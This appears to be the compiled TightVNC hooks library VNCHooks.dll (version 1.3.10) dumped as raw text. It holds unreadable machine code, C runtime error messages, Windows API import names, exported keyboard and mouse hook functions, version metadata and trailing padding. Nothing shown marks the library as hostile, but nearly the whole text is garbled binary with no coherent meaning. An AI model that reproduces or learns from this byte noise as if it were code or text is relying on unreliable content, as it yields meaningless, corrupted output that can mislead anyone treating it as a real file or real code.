u_VWhh@Pt} D$PhjQVtgWrtIWhh@R9WD$ PL$ QjhjjjRVtV ^3_V D$^_à $PD$L$ Q T$ RjPQD$u |$D$tD$ ̋L$jD$ PjjQR̡V5LPffu 3^Ë QffthT$RjPPTtōD$P;tjhjhjhjhxjhhjhXjhH8^fV5Ht Pfft Pf=^Ph QhzRhiPhxY QhhHRhX7PhH' Q$<tP ̋D$t u D$  ̃|$t*=,u?jPhPj \,u!3á,tP`t,̃|$D$ t5=4uTL$jRhj \4u+3á4tP`t4̃|$t*=0u?jPhj\0u!3á0tP`t0̃|$D$ t5=8uTL$jRh j \8u+3á8tP`t8̃|$D$ t5=<uTL$jRhpj \<u+3á<tP`t<̃|$D$ t5=@uTL$jRhj \@u+3á@tP`t@W|$u3_Ã=uV5\jPh`j֋ jQhj ֋jRhj$փ= (t==$t4t0D$L$T$ ^= _jjk 5`tP֡$tP֡(tP^ $(3_SVW3ShTStSts3|$;uShвhSX;=t_^3[á ;Ë=`t;tPׅt3 $;t;tPׅt3$(;t;tPׅt3(;t _^[nj hutu=4 uCjYeVA YEt VP] YYE }u7u jYVj5\uXPSYU S39] urSSSSS"ME;tVEEEPSu EPEEBMxE EPSYY^[j heu;5$ w"jYeV YEE EjYUl$S`VW395uz&j$h"YY4 u;t3@Pu US;Yu;u3GWV5Ӌu&9j _t UT&Yu88_^[]U2&Y 3]UQE SVWpWjP`u3V>lVju P\ދF~ E FEFEP\E tM|Ej =Ys#*u &`T3h8 2M,}&<1| .|jL!Yu T.3;u59= 9=u"9}u{#.r&juY/&hj.+;YYV55%YЅtWVf&YYdNV(YmuW(Y3@_^[ j h']3@Eu 9e;tu.tWVSЉE}WVSEWVSEu$u WPSWjStWjSЅtu&WVS~u!E}ttWVSЉEEEE PQ3YYËeE3Ã|$u3t$L$T$ Y Vjh {3^3V3D$tVY^Vt$P3^U u"YtuYt u bhA4YVM2hEPE4̋D$3;HtA-rHw j XËLDjY;#$uÃ$uà VL$QY0^UQQVE3PuuYt VVVVVEPYt VVVVV}^u }r3@jX39D$jhPxu3}4 u$h9Yu5t%3@U3=4 uTS\W39- ~1V5 hUv|6U5ӃG;= |^5 U5_[5t-]VW3 <u8h0b3YYt F$|3@_^Ã$3SVW>t~t WW&Y|ܾ_t ~uPӃ|^[UE4]j h@ 3G}39ujhCYYu49tnj&Y;u 3Qj YY]9u,hW]2YYuWDYQ ] >W)YE E j *YUEV4>uP$YujCY6^]h@j5` uËL$%p% ( 3 $ , @Ë   kT$+P r ;r3UMAVu W+y iDMIMS1UVUU] utJ?vj?ZK;KuB sL!\D u#M!JL! uM!Y] S[MMZU ZRSMJ?vj?Z]]+u]j?u K^;vMJ;։Mv;t^M q;qu; s!tDLu!M!1K!LuM!qM qINM qINu ]}u;M ыYN^qNqN;Nu`LM Ls%}uʻM DD )}uJM YJꍄ ED0Ep 0 5|h@H SQ֋ 0 p Pp@ 0 p@HCpHyCu `pxueSjp ֡ppj5\  pk +ȍLQHQP^/E  ;pvm ( Ep=0 [_^á, V5 W3;u4kP5 W5;u3x, 5  k5 hAj5`;ljFtjh hW;ljF uvW5\뛃N>~ F_^UQQMASVqW3C}i0Dj?EZ@@Jujhy hWup;UwC+ GAH@PǀIuˋUEO HAJ HAdD3GFCENCu x!P_^[U MASVuW} +Q iDMOI;|9M]UE;;MI?Mvj?YM_;_uC sML!\D u&M!ML! uM!YO_YOyM+M}}M O?L1vj?_]][Y]YKYKY;YuWLM Ls}uϻM DD }uOM YO U MD2LU FBD2<38/] )uNK\3uN?] Kvj?^EuN?vj?^O;OuB st!\Du#M!NL! uM!Y] OwqwOquuuN?vj?^M yK{YKYK;KuWLM Ls}uοM 9DD }uNM yN ED3@_^[U Mk MSI VW} M 3U ( S;#U# u ;؉]r;u S;#U# u ;ى]r;u[ {u ];r;u1  {u ;ى]r;u؅ۉ]u3 S@YKC8t( CUt|D#M# u)eHD9#U# uEUiDMLD3#u#Mj _G}MT +MN?M~j?^;J;Ju\ }&M|8Ӊ]#\D\Du3M]! ,OM|8!]u ]M!K]}JzyJzyM yJzQJQJ;Ju^LM L}#} u ;οM |D)} u N {MN 7Mt LMuэN L2uɍy>u;puM; 0 u%pMB_^[h8d5D$l$l$+SVW1E3PeuEEEEdËMd Y__^[]Q̃S\$ UVs35WD$D${t N3 8}*N F3 8m*D$(@fk L$0T$D$L$ St^DmLɍ\D$t(+D$|DLD$ù|$t$t N3 8)N F3 8)D$_^][D$ƋL$(9csmu*= t!h +tT$(jR L$,*D$,9h thWՋ*D$,L$H t N3 8Z)N V3 :J)KX*{ PhW˺o*UQVu V86E F Yu N -@t "S3ۨt^NF F f F ^]u,*4 ;t 4@;u u 3YuVb3YfF WF>HN+I;N~WPu W2 EM F yM ttk8 @ tjSSQ-+#ƒt%FM3GWEPu 1 E9}t N E%_[^ËD$VF ucFHlHhN; t <Hpu$>F;@tF <Hpu6FF@puHpF  @F^A @tyt$Ix  QPYYu UVMEM >t} ^]G @SVt4u.D$ -L$ C>u8*uϰ?i|$ ^[U$x3ʼnSV3W MEЉ}ԉuuuuuĉuu9uu-VVVVV% }tE`pE@ @P#3Yt6u3Yt(u3u4 2k8YY3@$uu2Yt6u2Yt(u2u4 2k8YY3@$";3Ʉ҉ủu؉uUC}], t-tHHt9M0M'MMM *u }ԋ;}M]Ek ʍDЉEu*u}ԋ;}MEk ʍDЉEItFht8ltwxMl;luCM]WMNM E<6u{4uCCM](<3u{2uCCe] 9E~E}~-u]VUYEt E܉uE3EGEEPuu}PuESP5H} YЋ}t9uuEPS5TW YYY}gu;uEPS5P8 YYY;-u MC]SrEM!spHHYE'EEEQE0EEf t@}tGG@Gt3҉}@t;|;s؃ځMfEڋu3ۃ}} Ee9E~E u!EčEM t$EؙRPSW809]~MN̍+FfEE؉utLt΀90tAM܋M0@2If90t@@;u+E;uE܋EI8t@;u+E܉E؃}E@t%ftE-tE+t E E]+]+]E uuЍESj ; uċ}ЍE̍MKEYtEuWSj0E }EtQ~Mu܉EMPjPEFPF,7u9EtuE̍}YuM MPEY}|EtWSj E }t uIeY]Et$M}Ԋ)93PPPPP$}tE`pE̋_^3[0[?==,>f>n>>?D$tU$X(3ʼnV]|ux}tfff]pfElfehfmdE@jPEjP6EEЍE؃ E uEjEPu ujk6Yh P3^ ŨU5tYt]j%6Y]t$5hЃ hPthPtt$t$Yt$j2YjQYV tЃ;t$r^Vt$3utу;t$ r^ËL$V3;uVVVVVjX^á|;tډ3^ËD$V3;uVVVVVjX^95|tۋ 3^Ã= th Yt t$ Y1hh6YYuTVWhYƿ;YstЃ;r= _^th /Yt jjj 3jh`jY3}3C9t~E9} u[5 E5 YYu9}t&u;ur>t>;tWYhȱ2Yhб̱"YE}u(jQYu3C}tj8Yjjt$  jjj V%VVV V16V!6V4VLV3hgI{$^QS\$ VW33;tGrwUj)9Y1j9Yu =?hPSU8 t VVVVVbhVjTu&h8hV=8 t3PPPPPVn/@%uN@ uNhF P YYt7F N@Cg5 ذ33@ËeEVW >t1t G P8;r6/&Y |_^S39 VWu:!53;u<=tGV$Yt:ujGW;YY=tˋ5U@VR$E>=Yt/jUn;YYtJVUP, t SSSSS8u5r 3Y]_^[5MUQMS39EVU t ]EE>"u39E"FE<tBU PF0Yt} t M E FۋU Mt2}u t utBe>< t< uFN>}t EE3C3FA>\t>"u&u}t F8"u 339EEtIt\BuU tU}u< tK< tGt=Pt#0Yt M E FM E  /YtFU FVtBU ME^[t U S39 VWuhVST8 ;É5t8EuuUEPSS}E =?sJMsB;r6P;Yt)UEPWV}E H53_^[QQSUVW=33;j]u-׋;t "Xxu ţ;u׋;u3f9tf9uf9u=SSS+S@PVSSD$4׋;t2U;YD$t#SSUPt$$VSSׅut$/Y\$\$VX;t;u;p8t @8u@8u+@Un;Yu VDUVW- V_^][YYVW;NjstЃ;r_^VW;NjstЃ;r_^UQQVOFV\lW}S99tk ;rk ;s99u3t Xۉ]u3u `3@N`MM N`H `=d;}$k ~\d9=`dB߃ ;|]=~du Fd^=u FdN=u Fd>=u Fd.=u Fd=u Fd=uFdvdjY~d`QӋEYF`[_^øcsm9D$u t$PYY3UeeSWN@;ǻt t У`VEPu3u3d33EPE3E3;uO@ u 5։5^_[ËL$Թ `HS\$VԹCFCWt1t'PGWwYYFtsWPV& fF_^[yԹt qYËAuܹVD$tVY^Q7.YVD$tVY^QSUVW5 5 t$;YY+ލkrxVJ.;YsJ;s;rPt$8YYuF;rCPt$!YYt3P ]D$T$UL$)qqq( ]UVWS33333[_^]Ëj+33333USVWjjhcQ#H_^[]Ul$RQt$ ]̋L$f9MZt3ËA<8PEu3fx ̋D$H<ASVq3҅WDv|$H ;r X;r (;r3_^[Ujh(h8dPSVW1E3PEdeEh<tUE-PhRt;@$ЃEMd Y_^[]ËE3=‹ËeE3Md Y_^[]UQQE VuEEWVE*;Yu NjJuMQuP;ljEuXt PYϋƃk8 D0 EU_^jhHu܉uEu Ƌ3;|; r!u8[ WWWWWrȋ k8 L1u&48 WWWWW1[P3*Y}D0tuuu uE܉U 8MME E܋Uup*YU$3ʼn$V39(Euuu3t;u'c0IVVVVV`I Sރk8W< ÊH$}Mtu3(u&30VVVVV@ tjjjVVYD@l39HEP4t }e(uEueuE3< PMYujEVP* 0E+(jEVP* FE3PPj QjMQPuFEuOjEPV P4%EE; }jEPj Pƅ  4}EEd<t<u3f FFEMuU<t<u9u'f;EYE}tj XPE'f;EYtEE(9Eyc@%E3}u9(EeMe+ME;(s'UEA u E @E@E}rыE+jEPVEP4EE;E+E;(r}9(EM3+ME;(s1UEAAf u Ef @@FF}f@@FFrNjE+jEPVEP4'EE;"E+E;(w 9(E-Me+Mj^;(s,Uuf u f uufƁ}Rr3VVhQ++PPVh;tyjEP+P5PE4t u; XE;GE+E;(E60jMQ(u0t EeE XEEuV}39ut j^9uu ) +u?Y'D@t E8u30+E_[3^jhhEuɼ 讼 3;|; r!蠼8膼 WWWWWɋ k8 L1tP#Y}D0tuu u E# +8ME EWu#YhTYL$At I AI AAAAaËD$u衻 3V3;|; r脻VVVVV 3^Ëȃk8 D@^øá Vj^u;}ƣ jPYYujV5 YYujX^3ҹ  |j^3ҹWk8 t;tu1 B|_3^&=tn$5iYVt$;r"w+Q7N Y^à V^ËD$}PD$ H YËD$ PËD$;r=w` +PYà PËL$D$}` QȻYà PËD$V3;u蠹VVVVV^Ë@^-t"t t Ht3øøøøSUVWU3^WS ~~~ 3~ +Ɗ  CMuANu_^][U$d3ʼnSWEPv 3@;rEƅ t+];w+@P j R CCujv EvPWPjj)*3SvWPWPWv S(DSvWPWPhv S'$3LEtLtL Ƅ@;rME3)EUЍZ w Lр wL р A;rŋ_3[Ŝj h}<Gptltwhuj Yj Yewhu;5@t6tVаutVY@Gh5@uVȰE뎋uj ޸YUS3SM)u(8]tEMapEDD;FG;v}FF>uыuE}urlj{CjC CLZf1Af0A@@JuL@;vFF~4C@IuC.C Ss3{95bM_^3[jhM}_huE;CWh Y؅Fwh#SuYYEuvhаuFh=tPۭY^hS=ȰFp<j 覶YeCCC 3E}fLCf E@3E=} L8@3E=}@@5@аu@=tP"Y@SE0j !Y%u tSYeE>Ã= ujVY 3SUVt$3;Wto=@th;t^9(uZ;t9(uPvS&YY;t9(uPU%YY=2YY;tD9(u@-P+P+P=t9uP#7辫YYj~P[@t;t 9(uP蝫Y9otG;t 9(uP膫YKuVyY_^][SUVt$W=ȰV׋tP׋tP׋tP׋tPj^P]{@t tP׃{t CtP׃Mu؋P_^][Vt$tSUW=аV׋tP׋tP׋tP׋tPj^P]{@t tP׃{t CtP׃Mu؋P_][^Åt7t3V0;t(W8YtVR>YuHtVxY^3j h>p<Fpt"~ltYpluj KYQj ӲYeFl= iEEj бYuVW306g(Yr_^á39D̋L$t$tNu$$~Ѓ3ƒtAt2t$tt͍AL$+ÍAL$+ÍAL$+ÍAL$+USVu 3;W}u;v E;t3E;tv贮j^SSSSS0RuME9XfEf=v6;t;v WSV e*Z8]tMap_^[;t.;w(:j"^SSSSS0R8]tE`puE;t8]0E`p$M QSWVjMQS] p;t9] bM;tXzH;k;cWSV Sjt$t$t$t$Uu MоEMA%}tMapjt$YYVD$ u(L$D$ 3؋D$d$ȋd$Gȋ\$T$ D$ ud$ȋD$r;T$ wr;D$v N+D$T$3+D$T$ ؃ʋӋًȋ^%̋T$ L$ti3D$ur=t!Wr1كt +шuʃtt uD$_ËD$jhL@xte3@ËeE$3hz}YHËD$LPTXËD$ lV9Ptk t$ ;rk L$^;s9Pt35TYj hv3}}؋] LtjY+t"+t+td+uD }؅uaLL`w\`ZÃt<t+Ht3PPPPP뮾TTPP XXEPEY3}9Eujk9EtPhY3Et tuO`MԉG`u@OdMGdu. `M܋ d`9M}Mk W\DECEuwdSUY]}؃}tjYSUYt tuEԉG`uEЉGd3ËD$`ËD$lU SVW39pE]]]h0;y5hW;cP $|WpP$hWtPxEP YYt SSSSS4}u,hLWP;Yth4WPY||M;ty9 tqP5;YYtV;tR;tMQj MQjPׅtEu3EPYt SSSSS}r M DM;t;Et1Pn;Yt&;ÉEtx;EtPP;YtuЉE5p8;Ytuu uu3_^[ËD$S3;VWt|$;wӧj^0SSSSS=t$;uً8tBOu;t BF:tOu;u苧j"Y3_^[USVu39]Wu;u9] u3_^[];t} ;wLj^0SSSSSd9]uʋU;uу}u @B:tOu @B:tOtMu9]u;u}uE jP\XxҦj"Y낋L$S3;VWt|$;w详j^0SSSSS1t$;uًъBF:tOu;usj"Y3_^[ËL$V3;|~ u^á ^6VVVVVM^̋T$L$u<:u. t&:au% t:Au t:au uҋ3Ðt:u ttf:u t:au tj h(蜳M3;v.jX3;E @uk WWWWW3M u;u3F3ۉ]wi=4 uKu E;$ w7jY}u7YEE_];tuWSZ ;uaVj5`;uL9=t3VYrE;P E3u j蜦Y;u E;t вjhH~]uu 蠟Yu u S5Y=4 3}jY}SrYE;;5$ wIVSPK t]5VYE;t'CH;rPSuS"ESPC9}uH;u3Fu u VW5`E;t CH;rPSuSuE.}u1uFu VSj5u ]j6YË}9=t,V:Y9}ulXP财Y_ݢ9}th quFVSj5uV9t4VYtvVY葢 3ݰ~|upXP'YUuM贳E MUTu}tMA#E3t3@}tMapjjt$ jUWVu M};v;r=tWV;^_u^_]ur*$Ǻr $($$$8d#ъFGFGr$I#ъFGr$#ъr$I ؈ЈȈDDDDDDDDDDDDDD$$,8LE^_ÐE^_ÐFGE^_ÍIFGFGE^_Ðt1|9u$r $$`IǺr +$$ĉF#шGr$IF#шGFGr$F#шGFGFGV$Idlt|DDDDDDDDD D DDDD$Ȋ؊E^_ÐFGE^_ÍIFGFGE^_ÐFGFGFGE^_j hh菬jWYeuNt/Et9u,HJP1Yv(YfE ~Ëj$Yjh3]3;;uWWWWW S=4 u8j豠Y}S YE;t s uuE%9}uSW54߫3]uj聟YU}uu }MfofoNfoV fo^0ffOfW f_0fof@fonPfov`fo~pfg@foPfw`fpIuu}]U}u]] ÙȋE3+ʃ3+ʙ3+3+ uJu΃M;t+VSP' EMtw]U +щU+ى]u}MES;u5كMu }MMMU UE+EPRQL Eu }MʃE]u}]Ã%x3U( 5=ff ff|f%xf-tEEE jYjh=ujpYh PUSVWUjjhuj]_^[]ËL$At2D$H3UhP(RP$R]D$T$SVWD$UPjhd53PD$dD$(Xp t:|$,t;t$,v-4v L$ H |uhDID_뷋L$d _^[3d yuQ R 9QuSQd SQdL$ KCk UQPXY]Y[ËL$S3;VW|[; sSk8< @t58t0=u+tItIuSjSjSj8 3L T_^[ËD$u= " V3;|"; sȃk8 @u$0VVVVV ^Ë^j hϦ}k84 E39^u6j rY]9^uhF PrYYu]FE09]tk8 D8 PE菦3ۋ}j 4YËD$ȃk8 D PU3ʼnEV395ttN=uuf pVMQjMQPDug=tuXxuЉ5tVVjEPjEPV@P tVURPEPQ<tfEM3^ztUSVu 3;t9]t8uE;tf3^[uMxE9XuE;tff8]tE`p3@ʍEPPcYYt}E~%9M| 39]RuQVj pHEuM;r 8^t8]eMapYq*8]tE`p:39]PuEjVj pH:jt$t$t$jh!3ۉ]jY]j_};= }W9tD@ tPvYtE|( P4葏YGE Eݣj臗YSVt$ F Ȁ3ۀu?ft9FW>+~,WPVYPu ;uF yF N _Ff^[Vt$u V3Y^VYt^fF @tV8PYY^3^jhޢ3}}j螗Y}3u;5 98t^@ tVPVMYY3BUH t/9UuPPYtE9}utP5Yu E܉}F3u4VLYYE}EtE_j YjYËD$t8uPǍYU3ʼnESV39Wu8SS3GWhhS<t=Xxu 9]~"MEI8t@;uE+H;E}@E;9] ]u@E 5H39]$SSuuPu ֋;~Cj3Xr7D?=w;tP;Yt E]9]=Wuuuju օ5<SSWuu u֋;ˉMfE t)9];MuuWuu u;~Ej3Xr9D =w&;tjPP;Yt 3;tAuVWuu u<t"9]SSuSSuuuVSu EVYuEYY9]]]u@E9] u@E u{ YEu3!;E SSMQuPu ;ÉEtԋ5@SSuPu u;ÉEu3~=w8=w;tP:;Yt 3;tuSWG uWuuu u;ÉEu3%uEuPWu u u#uWYuuuuu u@9]t uKYE;t 9EtP8Yƍe_^[M3aUuM菡u(Mu$u uuuuu - }tMapUQQ3ʼnESV3;Wu:EP3FVhV4t54Xxu jX;9]]u@E5H39] SSuu Pu֋;~<w4D?=w- ;tPZ;Yt ؅ti?PjSi WSuu juօtuPSu4ESEYu39]u@E9]u@Eu Yu3G;EtSSMQu Pu ;t܉u uuu uu8;tV=YǍe_^[M3fUuM蔟u$Mu uuuuu }tMapVt$vӇvˇv Çv軇v資v談6複v 蜇v$蔇v(茇v,脇v0|v4tvlv8dv<\@v@QvDIvHAvL9vP1vT)vX!v\v`vd vhvlvpvtvxv|ن@ˆ赆誆蟆蔆艆~sh],^Vt$t5;@tP?YF;DtP-Yv;5HtVY^Vt$t~F ;LtPYF;PtPYF;TtPڅYF;XtPȅYF;\tP超YF ;`tP褅Yv$;5dtV蒅Y^UV3PPPPPPPPU I t $uI t $s ^UV3PPPPPPPPU I t $u t $sF ^jPYU}}M f$ffGfG fG0fG@fGPfG`fGpIuЋ}]U}E3+3+ut }w u,9uv'UE"tME$ƉEEt8Et]}tE`pEEt0}tE`p3[_^U39 Puu uuh(P]U$X(3ʼnVtj YtjY]|ux}tfff]pfElfehfmdE@jPEjP}E EЍEjE@uEEPj貦j hޔef(E#E=t =t33@ËeeEEU3SEEESX5 PZ+tQ3E]UMUE[Et^t3@3[33PPjPjh@h(áV50ttP֡ttP^SVt$ W3;u踅WWWWWϢ BF t7VV&VPM}F;t PUY~~ _^[j h0cM3u3;;u6WWWWWM F @t ~ EfVY}V/YEEՋuVYjhPEuƄ 3;|; r襄 SSSSS輡Ћ< k8LtPY]Dt1uYPDu XE]9]tDM' ME EbuYU 3ʼnEjEPhuE,u EPYM3U43ʼnEEME؋ESEЋVE܋EW3;E M̉}}_5 MQPօHt^}uXEPu օtK}uEu܃Eu uYF;~[wSD6=w/;t8-WWuujuӋ;u3P'~;Yt E}9}t؍6PWu. VuuujuӅt];tWWuSVuWu t`][9}ԋuWWWWVuWu Ӌ;t0t:(HV"0H`x ,8HVbpz&@Vp&8DNZl|xh\PD4"0]AnvfnVNCHooks.PopUpMenu.SelectedVNCHooks.CopyRect.WindowPosApplication_Prefs\SoftwareORLVNCHooks%s%suse_Deferraluse_RButtonUpuse_MButtonUpuse_LButtonUpuse_KeyPressuse_Timeruse_GetUpdateRectWindow pointer is nullMessageVNCHooks.Deferred.UpdateMessagebad allocation(\(null)(null)EEE50P( 8PX700WP `h````xpxxxxCorExitProcessmscoree.dllruntime error TLOSS error SING error DOMAIN error R6034 An application has made an attempt to load the C runtime library incorrectly. Please contact the application's support team for more information. R6033 - Attempt to use MSIL code from this assembly during native code initialization This indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain. R6032 - not enough space for locale information R6031 - Attempt to initialize the CRT more than once. This indicates a bug in your application. R6030 - CRT not initialized R6028 - unable to initialize heap R6027 - not enough space for lowio initialization R6026 - not enough space for stdio initialization R6025 - pure virtual function call R6024 - not enough space for _onexit/atexit table R6019 - unable to open console device R6018 - unexpected heap error R6017 - unexpected multithread lock error R6016 - not enough space for thread data This application has requested the Runtime to terminate it in an unusual way. Please contact the application's support team for more information. R6009 - not enough space for environment R6008 - not enough space for arguments R6002 - floating point support not loaded Microsoft Visual C++ Runtime Library ...Runtime Error! Program: .mixcrtEncodePointerKERNEL32.DLLDecodePointerFlsFreeFlsSetValueFlsGetValueFlsAlloc\\Unknown exception$\csm InitializeCriticalSectionAndSpinCountkernel32.dll  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~=EEE00P('8PW700PP (`h`hhhxppwppGetProcessWindowStationGetUserObjectInformationAGetLastActivePopupGetActiveWindowMessageBoxAUSER32.DLL ((((( H h(((( H H  !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~HH:mm:ssdddd, MMMM dd, yyyyMM/dd/yyPMAMDecemberNovemberOctoberSeptemberAugustJulyJuneAprilMarchFebruaryJanuaryDecNovOctSepAugJulJunMayAprMarFebJanSaturdayFridayThursdayWednesdayTuesdayMondaySundaySatFriThuWedTueMonSun Complete Object Locator' Class Hierarchy Descriptor' Base Class Array' Base Class Descriptor at ( Type Descriptor'`local static thread guard'`managed vector copy constructor iterator'`vector vbase copy constructor iterator'`vector copy constructor iterator'`dynamic atexit destructor for '`dynamic initializer for '`eh vector vbase copy constructor iterator'`eh vector copy constructor iterator'`managed vector destructor iterator'`managed vector constructor iterator'`placement delete[] closure'`placement delete closure'`omni callsig' delete[] new[]`local vftable constructor closure'`local vftable'`RTTI`EH`udt returning'`copy constructor closure'`eh vector vbase constructor iterator'`eh vector destructor iterator'`eh vector constructor iterator'`virtual displacement map'`vector vbase constructor iterator'`vector destructor iterator'`vector constructor iterator'`scalar deleting destructor'`default constructor closure'`vector deleting destructor'`vbase destructor'`string'`local static guard'`typeof'`vcall'`vbtable'`vftable'^=|=&=<<=>>=%=/=-=+=*=||&&|^~(),>=><=<%/->*&+---++*->operator[]!===!<<>> delete new__unaligned__restrict__ptr64__clrcall__fastcall__thiscall__stdcall__pascal__cdecl__based(ph\PD8,$ ҺP4 к|xtplhd`\PD<0 xX4|td@8,h< dҺCONOUT$SunMonTueWedThuFriSatJanFebMarAprMayJunJulAugSepOctNovDecHp@,@,x8HPx@88Tc#$@(Q(($ (, +\f,OIWNOPTT ^ _#_)e=efmrovy}}TlW SӢ(@P&`P>0t:(HV"0H`x ,8HVbpz&@Vp&8DNZl|xh\PD4"}GetModuleFileNameAGetModuleHandleAGlobalAddAtomAGlobalDeleteAtomKERNEL32.dll,RemovePropA@ClientToScreenGetClientRectPostMessageAIsWindowVisibletGetWindowRectGetCursorjSetPropAJGetPropAeGetUpdateRgnCallNextHookExUnhookWindowsHookExSetWindowsHookExAMessageBoxAEnumWindows'RegisterWindowMessageAUSER32.dllDeleteObjectGetRegionDataKCreateRectRgnGDI32.dllRegCloseKeyRegCreateKeyExARegOpenKeyExARegQueryValueExARegSetValueExAADVAPI32.dllqGetLastErrorHeapFreeHeapAllocFGetCurrentThreadIdGetCommandLineAGetVersionExAGetProcessHeapHeapDestroyHeapCreateVirtualFreeDeleteCriticalSectionQLeaveCriticalSectionEnterCriticalSectionVirtualAllocHeapReAlloc^TerminateProcessBGetCurrentProcessnUnhandledExceptionFilterJSetUnhandledExceptionFilter9IsDebuggerPresentGetProcAddressExitProcessWriteFileGetStdHandleeTlsGetValuecTlsAllocfTlsSetValuedTlsFree,InterlockedIncrement(SetLastError(InterlockedDecrementVSleep$SetHandleCountfGetFileTypeGetStartupInfoAFreeEnvironmentStringsAUGetEnvironmentStringsFreeEnvironmentStringsWWideCharToMultiByteWGetEnvironmentStringsWQueryPerformanceCounterGetTickCountCGetCurrentProcessIdGetSystemTimeAsFileTimeRaiseException#InitializeCriticalSectionRtlUnwindSetFilePointer"GetConsoleCP3GetConsoleModeGetCPInfoGetACPGetOEMCP?IsValidCodePageRLoadLibraryAHeapSize7SetStdHandleWriteConsoleA5GetConsoleOutputCPWriteConsoleWuMultiByteToWideCharDLCMapStringAELCMapStringWGetStringTypeAGetStringTypeWtGetLocaleInfoASCreateFileA4CloseHandleFlushFileBuffersI! ! "+EXmVNCHooks.dllSetHookSetKeyboardFilterHookSetKeyboardPriorityHookSetKeyboardPriorityLLHookSetMouseFilterHookSetMousePriorityHookSetMousePriorityLLHookUnSetHookر.?AVbad_alloc@std@@.?AVexception@std@@        ! 5A CPR S WY l m pr   )    (gIظ  h<ܶlD$ !"xܳy̳z  x .?AVtype_info@@N@D abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ`y!@~ڣ @ڣ AϢ[@~QQ^ _j21~C@@@@@@8HH |xtplhd`\XTL@80p(   .<@.pPSTPDT;Zx0Nm:Yw/Ml 8Ph   $V4VS_VERSION_INFO  ?tStringFileInfoP040904b0;CommentsBased on VNC by AT&T Research Labs Cambridge, RealVNC Ltd.>CompanyNameTightVNC GroupXFileDescriptionVNC hooks DLL for Win328 FileVersion1, 3, 10, 02 InternalNameVNCHooksr'LegalCopyrightCopyright (C) 2000-2009 TightVNC Group(LegalTrademarksB OriginalFilenameVNCHooks.dll PrivateBuildHProductNameTightVNC - VNCHooks< ProductVersion1, 3, 10, 0 SpecialBuildDVarFileInfo$Translation  PAPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGX